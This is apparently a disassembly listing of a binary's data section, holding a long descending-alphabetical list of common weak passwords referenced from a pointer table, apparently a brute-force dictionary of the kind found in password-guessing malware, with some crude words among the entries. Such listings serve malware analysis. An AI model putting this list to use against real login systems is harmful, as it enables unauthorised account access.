aWing		db 'wing',0             ; DATA XREF: ___:0043085Co
		align 10h
aWine		db 'wine',0             ; DATA XREF: ___:00430858o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:00430854o
aWilma		db 'wilma',0            ; DATA XREF: ___:00430850o
		align 4
aWillie		db 'willie',0           ; DATA XREF: ___:0043084Co
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: ___:00430848o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:00430844o
aWill		db 'will',0             ; DATA XREF: ___:00430840o
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:0043083Co
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: ___:00430838o
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: ___:00430834o
aWhiting	db 'whiting',0          ; DATA XREF: ___:00430830o
aWhite		db 'white',0            ; DATA XREF: ___:0043082Co
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: ___:00430828o
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:00430824o
aWhatever	db 'whatever',0         ; DATA XREF: ___:00430820o
		align 4
aWestern	db 'western',0          ; DATA XREF: ___:0043081Co
aWest		db 'west',0             ; DATA XREF: ___:00430818o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: ___:00430814o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: ___:00430810o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: ___:0043080Co
		align 10h
aWell		db 'well',0             ; DATA XREF: ___:00430808o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: ___:00430804o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: ___:00430800o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: ___:004307FCo
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: ___:004307F8o
aWave		db 'wave',0             ; DATA XREF: ___:004307F4o
		align 4
aWater		db 'water',0            ; DATA XREF: ___:004307F0o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: ___:004307ECo
		align 4
aWasp		db 'wasp',0             ; DATA XREF: ___:004307E8o
		align 10h
aWarren		db 'warren',0           ; DATA XREF: ___:004307E4o
		align 4
aWarp		db 'warp',0             ; DATA XREF: ___:004307E0o
		align 10h
aWargames	db 'wargames',0         ; DATA XREF: ___:004307DCo
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: ___:004307D8o
aWarez		db 'warez',0            ; DATA XREF: ___:004307D4o
		align 4
aWard		db 'ward',0             ; DATA XREF: ___:004307D0o
		align 4
aWaco		db 'waco',0             ; DATA XREF: ___:004307CCo
		align 4
aVodka		db 'vodka',0            ; DATA XREF: ___:004307C8o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: ___:004307C4o
		align 10h
aVisual		db 'visual',0           ; DATA XREF: ___:004307C0o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: ___:004307BCo
aVirus		db 'virus',0            ; DATA XREF: ___:004307B8o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: ___:004307B4o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: ___:004307B0o
		align 4
aVillage	db 'village',0          ; DATA XREF: ___:004307ACo
aVideogam	db 'videogam',0         ; DATA XREF: ___:004307A8o
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_40F6F1:loc_413F12o
					; ___:004307A4o
		align 4
aVictor		db 'victor',0           ; DATA XREF: ___:004307A0o
		align 10h
aVicky		db 'vicky',0            ; DATA XREF: ___:0043079Co
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: ___:00430798o
aVeronica	db 'veronica',0         ; DATA XREF: ___:00430794o
		align 4
aVenus		db 'venus',0            ; DATA XREF: ___:00430790o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: ___:0043078Co
		align 4
aVampire	db 'vampire',0          ; DATA XREF: ___:00430788o
aValerie	db 'valerie',0          ; DATA XREF: ___:00430784o
aVagina		db 'vagina',0           ; DATA XREF: ___:00430780o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: ___:0043077Co
		align 4
aUtility	db 'utility',0          ; DATA XREF: ___:00430778o
aUtil		db 'util',0             ; DATA XREF: ___:00430774o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: ___:00430770o
		align 4
aUsername	db 'username',0         ; DATA XREF: ___:0043076Co
		align 10h
aUsermane	db 'usermane',0         ; DATA XREF: ___:00430768o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: ___:00430764o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: ___:00430760o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: ___:0043075Co
		align 4
aUranus		db 'uranus',0           ; DATA XREF: ___:00430758o
		align 4
aUpload		db 'upload',0           ; DATA XREF: ___:00430754o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: ___:00430750o
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: ___:0043074Co
aUniversi	db 'universi',0         ; DATA XREF: ___:00430748o
		align 10h
aUniverse	db 'universe',0         ; DATA XREF: ___:00430744o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: ___:00430740o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: ___:0043073Co
aUnicorn	db 'unicorn',0          ; DATA XREF: ___:00430738o
aUnhappy	db 'unhappy',0          ; DATA XREF: ___:00430734o
aUndo		db 'undo',0             ; DATA XREF: ___:00430730o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: ___:0043072Co
		align 10h
aUmesh		db 'umesh',0            ; DATA XREF: ___:00430728o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: ___:00430724o
		align 10h
aTuttle		db 'tuttle',0           ; DATA XREF: ___:00430720o
		align 4
aTurn		db 'turn',0             ; DATA XREF: ___:0043071Co
		align 10h
aTuesday	db 'tuesday',0          ; DATA XREF: ___:00430718o
aTubas		db 'tubas',0            ; DATA XREF: ___:00430714o
		align 10h
aTruth		db 'truth',0            ; DATA XREF: ___:00430710o
		align 4
aTrue		db 'true',0             ; DATA XREF: ___:0043070Co
		align 10h
aTron		db 'tron',0             ; DATA XREF: ___:00430708o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: ___:00430704o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: ___:00430700o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: ___:004306FCo
aTrisha		db 'trisha',0           ; DATA XREF: ___:004306F8o
		align 4
aTrek		db 'trek',0             ; DATA XREF: ___:004306F4o
		align 4
aTree		db 'tree',0             ; DATA XREF: ___:004306F0o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: ___:004306ECo
		align 4
aTrap		db 'trap',0             ; DATA XREF: ___:004306E8o
		align 10h
aTransfer	db 'transfer',0         ; DATA XREF: ___:004306E4o
		align 4
aTrails		db 'trails',0           ; DATA XREF: ___:004306E0o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: ___:004306DCo
		align 4
aTracie		db 'tracie',0           ; DATA XREF: ___:004306D8o
		align 4
aTraci		db 'traci',0            ; DATA XREF: ___:004306D4o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: ___:004306D0o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: ___:004306CCo
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: ___:004306C8o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: ___:004306C4o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: ___:004306C0o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: ___:004306BCo
		align 4
aToken		db 'token',0            ; DATA XREF: ___:004306B8o
		align 10h
aToggle		db 'toggle',0           ; DATA XREF: ___:004306B4o
		align 4
aToad		db 'toad',0             ; DATA XREF: ___:004306B0o
		align 10h
aTits		db 'tits',0             ; DATA XREF: ___:004306ACo
		align 4
aTina		db 'tina',0             ; DATA XREF: ___:004306A8o
		align 10h
aTime		db 'time',0             ; DATA XREF: ___:004306A4o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: ___:004306A0o
		align 10h
aTiffany	db 'tiffany',0          ; DATA XREF: ___:0043069Co
aThursday	db 'thursday',0         ; DATA XREF: ___:00430698o
		align 4
aThin		db 'thin',0             ; DATA XREF: ___:00430694o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: ___:00430690o
aThailand	db 'thailand',0         ; DATA XREF: ___:0043068Co
		align 10h
aText		db 'text',0             ; DATA XREF: ___:00430688o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: ___:00430684o
		align 10h
aTess		db 'tess',0             ; DATA XREF: ___:00430680o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: ___:0043067Co
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: ___:00430678o
		align 10h
aTera		db 'tera',0             ; DATA XREF: ___:00430674o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: ___:00430670o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: ___:0043066Co
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: ___:00430668o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: ___:00430664o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: ___:00430660o
aTeen		db 'teen',0             ; DATA XREF: ___:0043065Co
		align 10h
aTech		db 'tech',0             ; DATA XREF: ___:00430658o
		align 4
aTears		db 'tears',0            ; DATA XREF: ___:00430654o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: ___:00430650o
		align 4
aTeam		db 'team',0             ; DATA XREF: ___:0043064Co
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: ___:00430644o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: ___:00430640o
		align 4
aTarget		db 'target',0           ; DATA XREF: ___:0043063Co
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:00430638o
		align 4
aTape		db 'tape',0             ; DATA XREF: ___:00430634o
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:00430630o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: ___:0043062Co
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: ___:00430628o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: ___:00430624o
		align 10h
aTami		db 'tami',0             ; DATA XREF: ___:00430620o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: ___:0043061Co
		align 10h
aTall		db 'tall',0             ; DATA XREF: ___:00430618o
		align 4
aTalk		db 'talk',0             ; DATA XREF: ___:00430614o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: ___:00430610o
aSysop		db 'sysop',0            ; DATA XREF: ___:0043060Co
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:00430608o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:00430604o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: ___:00430600o
		align 10h
aSword		db 'sword',0            ; DATA XREF: ___:004305FCo
		align 4
aSwitch		db 'switch',0           ; DATA XREF: ___:004305F8o
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: ___:004305F4o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: ___:004305F0o
aSuzie		db 'suzie',0            ; DATA XREF: ___:004305ECo
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:004305E8o
aSusie		db 'susie',0            ; DATA XREF: ___:004305E4o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: ___:004305E0o
aSusan		db 'susan',0            ; DATA XREF: ___:004305DCo
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: ___:004305D8o
aSurfer		db 'surfer',0           ; DATA XREF: ___:004305D4o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: ___:004305D0o
		align 4
aSupport	db 'support',0          ; DATA XREF: ___:004305CCo
aSupervis	db 'supervis',0         ; DATA XREF: ___:004305C8o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: ___:004305C4o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: ___:004305C0o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: ___:004305BCo
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:004305B8o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: ___:004305B4o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: ___:004305B0o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: ___:004305ACo
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:004305A8o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:004305A4o
		align 4
aSuccess	db 'success',0          ; DATA XREF: ___:004305A0o
aSubway		db 'subway',0           ; DATA XREF: ___:0043059Co
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:00430598o
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:00430594o
		align 4
aStrip		db 'strip',0            ; DATA XREF: ___:0043058Co
		align 4
aString		db 'string',0           ; DATA XREF: ___:00430588o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:00430584o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: ___:00430580o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: ___:0043057Co
		align 10h
aStrange	db 'strange',0          ; DATA XREF: ___:00430578o
aStones		db 'stones',0           ; DATA XREF: ___:00430574o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: ___:00430570o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: ___:0043056Co
		align 4
aSteve		db 'steve',0            ; DATA XREF: ___:00430568o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:00430564o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: ___:00430560o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: ___:0043055Co
		align 4
aSteel		db 'steel',0            ; DATA XREF: ___:00430558o
		align 10h
aSteal		db 'steal',0            ; DATA XREF: ___:00430554o
		align 4
aSteak		db 'steak',0            ; DATA XREF: ___:00430550o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: ___:0043054Co
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:00430548o
aStartrek	db 'startrek',0         ; DATA XREF: ___:00430544o
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_40F6F1+2103o
					; ___:00430540o
		align 4
aStarship	db 'starship',0         ; DATA XREF: ___:0043053Co
		align 4
aStar		db 'star',0             ; DATA XREF: ___:00430538o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:00430534o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: ___:00430530o
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:0043052Co
		align 4
aStacey		db 'stacey',0           ; DATA XREF: ___:00430528o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:00430524o
		align 4
aSquires	db 'squires',0          ; DATA XREF: ___:00430520o
aSpunk		db 'spunk',0            ; DATA XREF: ___:0043051Co
		align 4
aSpringer	db 'springer',0         ; DATA XREF: ___:00430518o
		align 10h
aSpring		db 'spring',0           ; DATA XREF: ___:00430514o
		align 4
aSpred		db 'spred',0            ; DATA XREF: ___:00430510o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: ___:0043050Co
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:00430508o
		align 4
aSpider		db 'spider',0           ; DATA XREF: ___:00430504o
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:00430500o
		align 4
aSpell		db 'spell',0            ; DATA XREF: ___:004304FCo
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:004304F8o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: ___:004304F4o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:004304F0o
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:004304ECo
		align 4
aSource		db 'source',0           ; DATA XREF: ___:004304E8o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:004304E4o
aSonya		db 'sonya',0            ; DATA XREF: ___:004304E0o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:004304DCo
		align 4
aSonia		db 'sonia',0            ; DATA XREF: ___:004304D8o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:004304D4o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: ___:004304D0o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: ___:004304CCo
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:004304C8o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: ___:004304C4o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:004304C0o
		align 4
aSocial		db 'social',0           ; DATA XREF: ___:004304BCo
		align 10h
aSoap		db 'soap',0             ; DATA XREF: ___:004304B8o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:004304B4o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: ___:004304B0o
		align 4
aSnake		db 'snake',0            ; DATA XREF: ___:004304ACo
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: ___:004304A8o
		align 4
aSnach		db 'snach',0            ; DATA XREF: ___:004304A4o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: ___:004304A0o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: ___:0043049Co
		align 10h
aSmother	db 'smother',0          ; DATA XREF: ___:00430498o
aSmooch		db 'smooch',0           ; DATA XREF: ___:00430494o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: ___:00430490o
		align 4
aSmile		db 'smile',0            ; DATA XREF: ___:0043048Co
		align 10h
aSmart		db 'smart',0            ; DATA XREF: ___:00430488o
		align 4
aSmall		db 'small',0            ; DATA XREF: ___:00430484o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: ___:00430480o
		align 4
aSlow		db 'slow',0             ; DATA XREF: ___:0043047Co
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: ___:00430478o
aSlick		db 'slick',0            ; DATA XREF: ___:00430474o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: ___:00430470o
		align 4
aSkull		db 'skull',0            ; DATA XREF: ___:0043046Co
		align 10h
aSite		db 'site',0             ; DATA XREF: ___:00430468o
		align 4
aSingle		db 'single',0           ; DATA XREF: ___:00430464o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: ___:00430460o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: ___:0043045Co
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:00430458o
		align 10h
aSimple		db 'simple',0           ; DATA XREF: ___:00430454o
		align 4
aSimon		db 'simon',0            ; DATA XREF: ___:00430450o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: ___:0043044Co
aSilver		db 'silver',0           ; DATA XREF: ___:00430448o
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: ___:00430444o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:00430440o
		align 4
aSick		db 'sick',0             ; DATA XREF: ___:0043043Co
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:00430438o
aShort		db 'short',0            ; DATA XREF: ___:00430434o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:00430430o
aShiva		db 'shiva',0            ; DATA XREF: ___:0043042Co
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:00430428o
aShit		db 'shit',0             ; DATA XREF: ___:00430424o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:00430420o
aShift		db 'shift',0            ; DATA XREF: ___:0043041Co
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:00430418o
		align 4
aShell		db 'shell',0            ; DATA XREF: ___:00430414o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:00430410o
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:0043040Co
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: ___:00430408o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: ___:00430404o
		align 10h
aShark		db 'shark',0            ; DATA XREF: ___:00430400o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: ___:004303FCo
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: ___:004303F8o
aSexy		db 'sexy',0             ; DATA XREF: ___:004303F4o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: ___:004303F0o
		align 4
aService	db 'service',0          ; DATA XREF: ___:004303ECo
aSerial_0	db 'serial',0           ; DATA XREF: ___:004303E8o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: ___:004303E4o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: ___:004303E0o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:004303DCo
		align 4
aSensor		db 'sensor',0           ; DATA XREF: ___:004303D8o
		align 10h
aSega		db 'sega',0             ; DATA XREF: ___:004303D4o
		align 4
aSeed		db 'seed',0             ; DATA XREF: ___:004303D0o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: ___:004303CCo
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:004303C8o
		align 4
aScout		db 'scout',0            ; DATA XREF: ___:004303C4o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:004303C0o
		align 4
aScott		db 'scott',0            ; DATA XREF: ___:004303BCo
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:004303B8o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: ___:004303B4o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:004303B0o
aSchool		db 'school',0           ; DATA XREF: ___:004303ACo
		align 4
aScheme		db 'scheme',0           ; DATA XREF: ___:004303A8o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:004303A4o
aSaxon		db 'saxon',0            ; DATA XREF: ___:004303A0o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:0043039Co
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: ___:00430398o
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: ___:00430394o
		align 4
aSara		db 'sara',0             ; DATA XREF: ___:00430390o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: ___:0043038Co
		align 4
aSandra		db 'sandra',0           ; DATA XREF: ___:00430388o
		align 10h
aSample		db 'sample',0           ; DATA XREF: ___:00430384o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: ___:00430380o
		align 4
aSalt		db 'salt',0             ; DATA XREF: ___:0043037Co
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:00430378o
		align 4
aSalami		db 'salami',0           ; DATA XREF: ___:00430374o
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:00430370o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: ___:0043036Co
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:00430368o
		align 4
aRunning_0	db 'running',0          ; DATA XREF: ___:00430364o
aRules		db 'rules',0            ; DATA XREF: ___:00430360o
		align 4
aRude		db 'rude',0             ; DATA XREF: ___:0043035Co
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:00430358o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: ___:00430354o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:00430350o
		align 4
aRough		db 'rough',0            ; DATA XREF: ___:0043034Co
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:00430348o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: ___:00430344o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: ___:00430340o
aRose		db 'rose',0             ; DATA XREF: ___:0043033Co
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: ___:00430338o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: ___:00430334o
aRomeo		db 'romeo',0            ; DATA XREF: ___:00430330o
		align 4
aRomano		db 'romano',0           ; DATA XREF: ___:0043032Co
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: ___:00430328o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: ___:00430324o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:00430320o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:0043031Co
		align 4
aRock		db 'rock',0             ; DATA XREF: ___:00430318o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:00430314o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: ___:00430310o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: ___:0043030Co
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:00430308o
		align 4
aRobot		db 'robot',0            ; DATA XREF: ___:00430304o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: ___:00430300o
		align 4
aRobert		db 'robert',0           ; DATA XREF: ___:004302FCo
		align 10h
aRoach		db 'roach',0            ; DATA XREF: ___:004302F8o
		align 4
aRisc		db 'risc',0             ; DATA XREF: ___:004302F4o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: ___:004302F0o
		align 4
aRiot		db 'riot',0             ; DATA XREF: ___:004302ECo
		align 10h
aRing		db 'ring',0             ; DATA XREF: ___:004302E8o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: ___:004302E4o
		align 4
aRight		db 'right',0            ; DATA XREF: ___:004302E0o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:004302DCo
		align 4
aRick		db 'rick',0             ; DATA XREF: ___:004302D8o
		align 10h
aRich		db 'rich',0             ; DATA XREF: ___:004302D4o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: ___:004302D0o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: ___:004302CCo
		align 4
aResistan	db 'resistan',0         ; DATA XREF: ___:004302C8o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: ___:004302C4o
		align 10h
aReport		db 'report',0           ; DATA XREF: ___:004302C0o
		align 4
aRent		db 'rent',0             ; DATA XREF: ___:004302BCo
		align 10h
aReno		db 'reno',0             ; DATA XREF: ___:004302B8o
		align 4
aRenee		db 'renee',0            ; DATA XREF: ___:004302B4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: ___:004302B0o
		align 4
aRelease	db 'release',0          ; DATA XREF: ___:004302ACo
aRegional	db 'regional',0         ; DATA XREF: ___:004302A8o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: ___:004302A4o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: ___:004302A0o
aReddawn	db 'reddawn',0          ; DATA XREF: ___:0043029Co
aRecord		db 'record',0           ; DATA XREF: ___:00430298o
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: ___:00430294o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: ___:00430290o
aRebal		db 'rebal',0            ; DATA XREF: ___:0043028Co
		align 4
aReaper		db 'reaper',0           ; DATA XREF: ___:00430288o
		align 10h
aReam		db 'ream',0             ; DATA XREF: ___:00430284o
		align 4
aReally		db 'really',0           ; DATA XREF: ___:00430280o
		align 10h
aReality	db 'reality',0          ; DATA XREF: ___:0043027Co
aReagan		db 'reagan',0           ; DATA XREF: ___:00430278o
		align 10h
aRazor		db 'razor',0            ; DATA XREF: ___:00430274o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: ___:00430270o
		align 10h
aRape		db 'rape',0             ; DATA XREF: ___:0043026Co
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: ___:00430264o
aRaindrop	db 'raindrop',0         ; DATA XREF: ___:00430260o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: ___:0043025Co
aRain		db 'rain',0             ; DATA XREF: ___:00430258o
		align 4
aRaid		db 'raid',0             ; DATA XREF: ___:00430254o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: ___:00430250o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: ___:0043024Co
		align 4
aRachel		db 'rachel',0           ; DATA XREF: ___:00430248o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: ___:00430244o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00430240o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: ___:0043023Co
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: ___:00430238o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: ___:00430234o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: ___:00430230o
		align 4
aPunk		db 'punk',0             ; DATA XREF: ___:0043022Co
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: ___:00430228o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: ___:00430224o
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: ___:00430220o
aPuke		db 'puke',0             ; DATA XREF: ___:0043021Co
		align 10h
aPuck		db 'puck',0             ; DATA XREF: ___:00430218o
		align 4
aPublic		db 'public',0           ; DATA XREF: ___:00430214o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: ___:00430210o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: ___:0043020Co
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: ___:00430208o
		align 10h
aProtect	db 'protect',0          ; DATA XREF: ___:00430204o
aPrompt		db 'prompt',0           ; DATA XREF: ___:00430200o
		align 10h
aProgram	db 'program',0          ; DATA XREF: ___:004301FCo
aProfile	db 'profile',0          ; DATA XREF: ___:004301F8o
aProfesso	db 'professo',0         ; DATA XREF: ___:004301F4o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: ___:004301F0o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: ___:004301ECo
aPrivs		db 'privs',0            ; DATA XREF: ___:004301E8o
		align 4
aPrivate	db 'private',0          ; DATA XREF: ___:004301E4o
aPriv		db 'priv',0             ; DATA XREF: ___:004301E0o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: ___:004301DCo
aPrinceto	db 'princeto',0         ; DATA XREF: ___:004301D8o
		align 4
aPrince		db 'prince',0           ; DATA XREF: ___:004301D4o
		align 4
